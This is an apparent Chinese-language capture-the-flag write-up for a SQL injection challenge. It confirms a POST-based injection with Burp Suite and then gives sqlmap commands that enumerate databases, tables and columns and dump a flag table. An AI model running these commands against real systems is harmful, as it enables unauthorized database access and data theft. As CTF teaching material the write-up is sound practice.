目录
一、题目
二、解题过程
1、 在输入框输入'
号,发现有错误提示,说明存在sql注入
2、 判断注入方式
输入数字1我们可以看到他从数据库中调出了数据,从burpsuite的抓包情况来看,提交了id1=1&submit=Submit,但是url地址栏却没有任何显示,所以是post请求(如果是get请求则会在url地址栏中显示)
3、 sqlmap注入——POST检测点
将burpsuit抓包到的request请求内容复制到一个文本文件然后改名为.log
后缀名的文件如下所示,然后进行注入
4、sqlmap注入获取数据库信息
sqlmap -l ~/桌面/sqlmap.log --dbs
5、查看某个数据库中的表
sqlmap -l ~/桌面/sqlmap.log -D web1 --table
6、查看某个表中的列
sqlmap -l ~/桌面/sqlmap.log -D web1 --table -T flAg --colum
7、具体到列的详细信息
sqlmap -l ~/桌面/sqlmap.log -D web1 --table -T flAg --colum --dump